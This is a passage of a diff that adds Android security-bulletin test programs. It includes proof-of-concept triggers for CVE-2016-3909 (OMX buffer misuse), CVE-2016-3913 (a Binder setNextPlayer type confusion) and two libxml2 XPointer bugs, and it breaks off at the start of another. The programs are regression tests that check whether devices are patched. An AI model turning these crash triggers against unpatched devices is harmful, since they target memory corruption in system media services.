+      ALOGE("memory allocate failed for port index 1, err: %d", err);
+      node->freeNode();
+      return false;
+    }
+    OMXBuffer omxOutBuf(memory);
+    err = node->useBuffer(1, omxOutBuf, &outBufferId[i]);
+    ALOGI("useBuffer, port index 1, err: %d", err);
+  }
+
+  // make venc in invalid state
+  err = node->sendCommand(OMX_CommandStateSet, 3);
+  ALOGI("sendCommand, err: %d", err);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
+    node->freeNode();
+    return false;
+  }
+
+  OMXBuffer omxInBuf(memory);
+  for (int i = 0; i < inBufferCnt; i++) {
+    err = node->emptyBuffer(inBufferId[i], omxInBuf, 0, 0, fenceFd);
+    ALOGI("emptyBuffer, err: %d", err);
+  }
+
+  OMXBuffer omxOutBuf(memory);
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = node->fillBuffer(outBufferId[i], omxOutBuf, fenceFd);
+    ALOGI("fillBuffer, err: %d", err);
+  }
+  free(params);
+  err = node->freeNode();
+  ALOGI("freeNode, err: %d", err);
+  return true;
+}
+
+int main() { return fuzzIOMXQcomEnc(); }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/Android.mk
new file mode 100644
index 0000000..e33a218
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-3909
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/omxUtils.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/
+LOCAL_C_INCLUDES += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libmedia_omx
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES += libcutils
+LOCAL_SHARED_LIBRARIES += libhidlbase
+LOCAL_SHARED_LIBRARIES += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES += android.hidl.memory@1.0
+LOCAL_SHARED_LIBRARIES += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/poc.cpp
new file mode 100644
index 0000000..3105665
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/poc.cpp
@@ -0,0 +1,235 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define FRAME_WIDTH 176
+#define FRAME_HEIGHT 144
+#define MEM_SIZE 4096*4096
+#define BUFFER_COUNT 2
+#define VULNERABLE_MEM_SIZE 8
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+                            int BufferSize) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+                bool s,
+                hidl_memory const& m) {
+            success = s;
+            buffer.mHidlMemory = m;
+        });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+int main() {
+    status_t err;
+    omx_message msg;
+    /* Initialize OMX for the specified codec                                 */
+    status_t ret = omxUtilsInit((char *) "OMX.google.mpeg4.encoder");
+    omxExitOnError(ret);
+    int allCallbacksReceivedEmptyBufferDone = 0;
+    int inMemSize = MEM_SIZE;
+    int outMemSize = MEM_SIZE;
+    int inBufferCnt = BUFFER_COUNT;
+    int outBufferCnt = BUFFER_COUNT;
+    int inBufferSize = inMemSize / inBufferCnt;
+    int outBufferSize = outMemSize / outBufferCnt;
+    /* Get OMX input port parameters                                          */
+    int paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(paramsSize);
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    params->nBufferCountActual = BUFFER_COUNT;
+    params->nBufferCountMin = BUFFER_COUNT;
+    params->nPortIndex = OMX_UTILS_IP_PORT;
+    params->nSize = paramsSize;
+    params->nBufferSize = inBufferSize;
+    params->format.video.eColorFormat = OMX_COLOR_FormatYUV420Planar;
+    params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+    params->format.video.nFrameWidth = FRAME_WIDTH;
+    params->format.video.nFrameHeight = FRAME_HEIGHT;
+    /* Set OMX input port parameters                                          */
+    err = omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+    IOMX::buffer_id *ipBufferId = new IOMX::buffer_id[inBufferCnt];
+    int i;
+    Vector < Buffer > inputBuffers;
+    Vector < Buffer > outputBuffers;
+    /* Allocated input buffers and register with OMX component                */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+    for (i = 0; i < inBufferCnt; i++) {
+        ipBufferId[i] = inputBuffers[i].mID;
+        omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+                          &ipBufferId[i]);
+    }
+    /* Get OMX output port parameters                                         */
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    err = omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    params->nBufferCountActual = BUFFER_COUNT;
+    params->nBufferCountMin = BUFFER_COUNT;
+    params->nPortIndex = OMX_UTILS_OP_PORT;
+    params->nSize = paramsSize;
+    params->format.video.eCompressionFormat = OMX_VIDEO_CodingMPEG4;
+    params->format.video.eColorFormat = OMX_COLOR_FormatUnused;
+    params->nBufferSize = outBufferSize;
+    /* Set OMX output port parameters                                         */
+    err = omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+    IOMX::buffer_id *opBufferId = new IOMX::buffer_id[outBufferCnt];
+    /* Allocated output buffers and register with OMX component               */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+    for (i = 0; i < outBufferCnt; i++) {
+        opBufferId[i] = outputBuffers[i].mID;
+        omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+                          &opBufferId[i]);
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Executing                                       */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    for (int i = 0; i < inBufferCnt; i++) {
+        OMXBuffer omxBuf(0, inBufferSize);
+        omxUtilsEmptyBuffer(ipBufferId[i], omxBuf, 0, 0, -1);
+    }
+    for (int i = 0; i < outBufferCnt; i++) {
+        OMXBuffer omxBuf(0, outBufferSize);
+        omxUtilsFillBuffer(opBufferId[i], omxBuf, -1);
+    }
+    /* Do OMX State change to Idle                                            */
+    ret = omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    time_t currentTime = time(NULL);
+    time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+    time_t endTime = currentTime + waitTimeInSeconds;
+    while (currentTime < endTime) {
+        if (numCallbackEmptyBufferDone == inBufferCnt) {
+            allCallbacksReceivedEmptyBufferDone = 1;
+            break;
+        }
+        currentTime = time(NULL);
+    }
+    if (!allCallbacksReceivedEmptyBufferDone) {
+        ALOGE("Exiting the app");
+        exit (EXIT_FAILURE);
+    }
+    /* Free input and output buffers                                          */
+    for (i = 0; i < inBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, ipBufferId[i]);
+    }
+    err = dequeueMessageForNode(&msg, DEFAULT_TIMEOUT);
+    if (err == TIMED_OUT) {
+        ALOGE("[omxUtils] OMX command timed out for exiting the app");
+        exit (EXIT_FAILURE);
+    }
+    for (i = 0; i < outBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, opBufferId[i]);
+    }
+    omxUtilsFreeNode();
+
+    /* Initialize OMX for the specified decoder                               */
+    ret = omxUtilsInit((char *) "OMX.google.mpeg4.decoder");
+    omxExitOnError(ret);
+    Vector < Buffer > newInputBuffers;
+    Vector < Buffer > newOutputBuffers;
+    inMemSize = MEM_SIZE;
+    outMemSize = VULNERABLE_MEM_SIZE;
+    inBufferCnt = BUFFER_COUNT;
+    outBufferCnt = BUFFER_COUNT;
+    inBufferSize = inMemSize / inBufferCnt;
+    outBufferSize = outMemSize / outBufferCnt;
+    /* Get OMX input port parameters                                          */
+    paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+    params = (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(paramsSize);
+    memset(params, 0, paramsSize);
+    err = omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    params->nBufferCountActual = BUFFER_COUNT;
+    params->nBufferCountMin = BUFFER_COUNT;
+    params->nPortIndex = OMX_UTILS_IP_PORT;
+    params->nSize = paramsSize;
+    params->format.video.nFrameWidth = FRAME_WIDTH;
+    params->format.video.nFrameHeight = FRAME_HEIGHT;
+    params->nBufferSize = inBufferSize;
+    /* Set OMX input port parameters                                          */
+    err = omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+    ipBufferId = new IOMX::buffer_id[inBufferCnt];
+    /* Allocated input buffers and register with OMX component                */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers, inBufferSize);
+    for (i = 0; i < inBufferCnt; i++) {
+        ipBufferId[i] = newInputBuffers[i].mID;
+        omxUtilsUseBuffer(OMX_UTILS_IP_PORT, outputBuffers[i].mHidlMemory,
+                          &ipBufferId[i]);
+        omxUtilsUseBuffer(OMX_UTILS_IP_PORT, outputBuffers[i].mHidlMemory,
+                          &ipBufferId[i]);
+    }
+    /* Get OMX output port parameters                                         */
+    memset(params, 0, paramsSize);
+    err = omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    params->nBufferCountActual = BUFFER_COUNT;
+    params->nBufferCountMin = BUFFER_COUNT;
+    params->nPortIndex = OMX_UTILS_OP_PORT;
+    params->nSize = paramsSize;
+    params->format.video.nFrameWidth = FRAME_WIDTH;
+    params->format.video.nFrameHeight = FRAME_HEIGHT;
+    params->nBufferSize = outBufferSize;
+    /* Set OMX output port parameters                                         */
+    err = omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+    opBufferId = new IOMX::buffer_id[outBufferCnt];
+    /* Allocated output buffers and register with OMX component               */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers,
+                            outBufferSize);
+    for (i = 0; i < outBufferCnt; i++) {
+        opBufferId[i] = newOutputBuffers[i].mID;
+        omxUtilsUseBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mHidlMemory,
+                          &opBufferId[i]);
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Executing                                       */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    for (int i = 0; i < inBufferCnt; i++) {
+        OMXBuffer omxBuf(0, inBufferSize);
+        omxUtilsEmptyBuffer(ipBufferId[i], omxBuf, 0, 0, -1);
+    }
+    for (int i = 0; i < outBufferCnt; i++) {
+        OMXBuffer omxBuf(0, outBufferSize);
+        omxUtilsFillBuffer(opBufferId[i], omxBuf, -1);
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Free input and output buffers                                          */
+    for (i = 0; i < inBufferCnt; i++) {
+        err = omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, ipBufferId[i]);
+    }
+    err = dequeueMessageForNode(&msg, DEFAULT_TIMEOUT);
+    if (err == TIMED_OUT) {
+        ALOGE("[omxUtils] OMX command timed out for exiting the app");
+        exit (EXIT_FAILURE);
+    }
+    for (i = 0; i < outBufferCnt; i++) {
+        err = omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, opBufferId[i]);
+    }
+    omxUtilsFreeNode();
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk
new file mode 100644
index 0000000..e21a08e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3913
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libbinder \
+    libutils \
+    libmedia \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror -Wno-unused-parameter
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/poc.cpp
new file mode 100644
index 0000000..5d45862
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/poc.cpp
@@ -0,0 +1,167 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <media/IMediaHTTPService.h>
+#include <media/IMediaPlayer.h>
+#include <media/IMediaPlayerService.h>
+#include <media/VolumeShaper.h>
+#include <media/mediaplayer.h>
+
+using namespace android;
+using namespace android::media;
+
+class MyMediaPlayer : public BnInterface<IMediaPlayer> {
+ public:
+  status_t onTransact(uint32_t code, const Parcel &data, Parcel *reply,
+                      uint32_t flags = 0) {
+    return OK;
+  }
+  void disconnect() {}
+
+  status_t setDataSource(const sp<IMediaHTTPService> &httpService,
+                         const char *url,
+                         const KeyedVector<String8, String8> *headers) {
+    return OK;
+  }
+
+  status_t setDataSource(int fd, int64_t offset, int64_t length) { return OK; }
+
+  status_t setDataSource(const sp<IStreamSource> &source) { return OK; }
+
+  status_t setDataSource(const sp<IDataSource> &source) { return OK; }
+
+  status_t setVideoSurfaceTexture(
+      const sp<IGraphicBufferProducer> &bufferProducer) {
+    return OK;
+  }
+
+  status_t getBufferingSettings(BufferingSettings *buffering) {
+    return OK;
+  }
+
+  status_t setBufferingSettings(const BufferingSettings &buffering) {
+    return OK;
+  }
+
+  status_t prepareAsync() { return OK; }
+
+  status_t start() { return OK; }
+
+  status_t stop() { return OK; }
+
+  status_t pause() { return OK; }
+
+  status_t isPlaying(bool *state) { return OK; }
+
+  status_t setPlaybackSettings(const AudioPlaybackRate &rate) { return OK; }
+
+  status_t getPlaybackSettings(AudioPlaybackRate *rate) { return OK; }
+
+  status_t setSyncSettings(const AVSyncSettings &sync, float videoFpsHint) {
+    return OK;
+  }
+
+  status_t getSyncSettings(AVSyncSettings *sync, float *videoFps) { return OK; }
+
+  status_t seekTo(int msec, MediaPlayerSeekMode mode) { return OK; }
+
+  status_t getCurrentPosition(int *msec) { return OK; }
+
+  status_t getDuration(int *msec) { return OK; }
+
+  status_t notifyAt(int64_t mediaTimeUs) { return OK; }
+
+  status_t reset() { return OK; }
+
+  status_t setAudioStreamType(audio_stream_type_t stream) { return OK; }
+
+  status_t setLooping(int loop) { return OK; }
+
+  status_t setVolume(float leftVolume, float rightVolume) { return OK; }
+
+  status_t setAuxEffectSendLevel(float level) { return OK; }
+
+  status_t attachAuxEffect(int effectId) { return OK; }
+
+  status_t setParameter(int key, const Parcel &request) { return OK; }
+
+  status_t getParameter(int key, Parcel *reply) { return OK; }
+
+  status_t setRetransmitEndpoint(const struct sockaddr_in *endpoint) {
+    return OK;
+  }
+
+  status_t getRetransmitEndpoint(struct sockaddr_in *endpoint) { return OK; }
+
+  status_t setNextPlayer(const sp<IMediaPlayer> &player) { return OK; }
+
+  VolumeShaper::Status applyVolumeShaper(
+      const sp<VolumeShaper::Configuration> &configuration,
+      const sp<VolumeShaper::Operation> &operation) {
+    return (VolumeShaper::Status)OK;
+  }
+  sp<VolumeShaper::State> getVolumeShaperState(int id) { return NULL; }
+
+  status_t prepareDrm(const uint8_t uuid[16],
+                      const Vector<uint8_t> &drmSessionId) {
+    return OK;
+  }
+
+  status_t releaseDrm() { return OK; }
+
+  status_t invoke(const Parcel &request, Parcel *reply) { return OK; }
+
+  status_t setMetadataFilter(const Parcel &request) { return OK; }
+
+  status_t getMetadata(bool update_only, bool apply_filter, Parcel *reply) {
+    return OK;
+  }
+
+  status_t setOutputDevice(audio_port_handle_t deviceId) { return OK; }
+
+  status_t getRoutedDeviceId(audio_port_handle_t *deviceId) { return OK; }
+
+  status_t enableAudioDeviceCallback(bool enabled) { return OK; }
+};
+
+int main() {
+  sp<IBinder> binder =
+      defaultServiceManager()->getService(String16("media.player"));
+  sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
+  sp<IMediaPlayer> player = service->create(
+      new MediaPlayer(), (audio_session_t)AUDIO_SESSION_ALLOCATE);
+
+  if (player == NULL) {
+    return EXIT_FAILURE;
+  }
+
+  sp<IMediaPlayer> localPlayer = new MyMediaPlayer();
+  if (localPlayer == NULL) {
+    return EXIT_FAILURE;
+  }
+
+  // set the data source to initialize mPlayer
+  player->setDataSource(NULL, "file:///test", NULL);
+
+  // Set the next player to a local instance of BnMediaPlayer.
+  // The remote side will construct a BpMediaPlayer object, and then
+  // unsafely cast it to a MediaPlayerService::Client.
+  // This will an out-of-bounds access on class members.
+  player->setNextPlayer(localPlayer);
+
+  return EXIT_SUCCESS;
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.mk
new file mode 100644
index 0000000..93a66b6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-4658
+LOCAL_SRC_FILES := poc.c
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2/include/
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES :=  libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_CFLAGS += -Wall -Werror -fPIC -DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=8192 \
+                -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/poc.c
new file mode 100644
index 0000000..e6aa6eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/poc.c
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+#include <libxml/parser.h>
+#include <libxml/xpath.h>
+#include <libxml/xpointer.h>
+#include <libxml/xpathInternals.h>
+
+int main(int argc, char **argv) {
+#if defined(LIBXML_XPATH_ENABLED) && defined(LIBXML_XPTR_ENABLED)
+    if(argc > 2) {
+        xmlDocPtr doc;
+        xmlXPathContextPtr xpathCtx;
+        xmlInitParser();
+        /* Load XML document */
+        doc = xmlReadFile(argv[1], NULL, 0);
+        if (doc) {
+            /* Create xpath evaluation context */
+            xpathCtx = (xmlXPathContextPtr)
+            xmlXPtrNewContext(doc, (xmlNode *)NULL, (xmlNode *)NULL);
+            if(xpathCtx) {
+                xmlXPathParserContextPtr pctxt =
+                xmlXPathNewParserContext((xmlChar *)argv[2],
+                        xpathCtx);
+                if(pctxt) {
+                    xmlXPathEvalExpr(pctxt);
+                    xmlXPathFreeContext(xpathCtx);
+                }
+                xmlFreeDoc(doc);
+            }
+            xmlCleanupParser();
+        }
+    }
+#endif
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.mk
new file mode 100644
index 0000000..d582038
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-5131
+LOCAL_SRC_FILES := poc.c
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2/include/
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES :=  libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_CFLAGS += -Wall -Werror -fPIC -DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=8192 \
+                -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/poc.c
new file mode 100644
index 0000000..e6aa6eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/poc.c
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+#include <libxml/parser.h>
+#include <libxml/xpath.h>
+#include <libxml/xpointer.h>
+#include <libxml/xpathInternals.h>
+
+int main(int argc, char **argv) {
+#if defined(LIBXML_XPATH_ENABLED) && defined(LIBXML_XPTR_ENABLED)
+    if(argc > 2) {
+        xmlDocPtr doc;
+        xmlXPathContextPtr xpathCtx;
+        xmlInitParser();
+        /* Load XML document */
+        doc = xmlReadFile(argv[1], NULL, 0);
+        if (doc) {
+            /* Create xpath evaluation context */
+            xpathCtx = (xmlXPathContextPtr)
+            xmlXPtrNewContext(doc, (xmlNode *)NULL, (xmlNode *)NULL);
+            if(xpathCtx) {
+                xmlXPathParserContextPtr pctxt =
+                xmlXPathNewParserContext((xmlChar *)argv[2],
+                        xpathCtx);
+                if(pctxt) {
+                    xmlXPathEvalExpr(pctxt);
+                    xmlXPathFreeContext(xpathCtx);
+                }
+                xmlFreeDoc(doc);
+            }
+            xmlCleanupParser();
+        }
+    }
+#endif
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk
new file mode 100644
index 0000000..ecb3722
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#  	http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-5862
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c
new file mode 100644
index 0000000..b5386e1
--- /dev/null
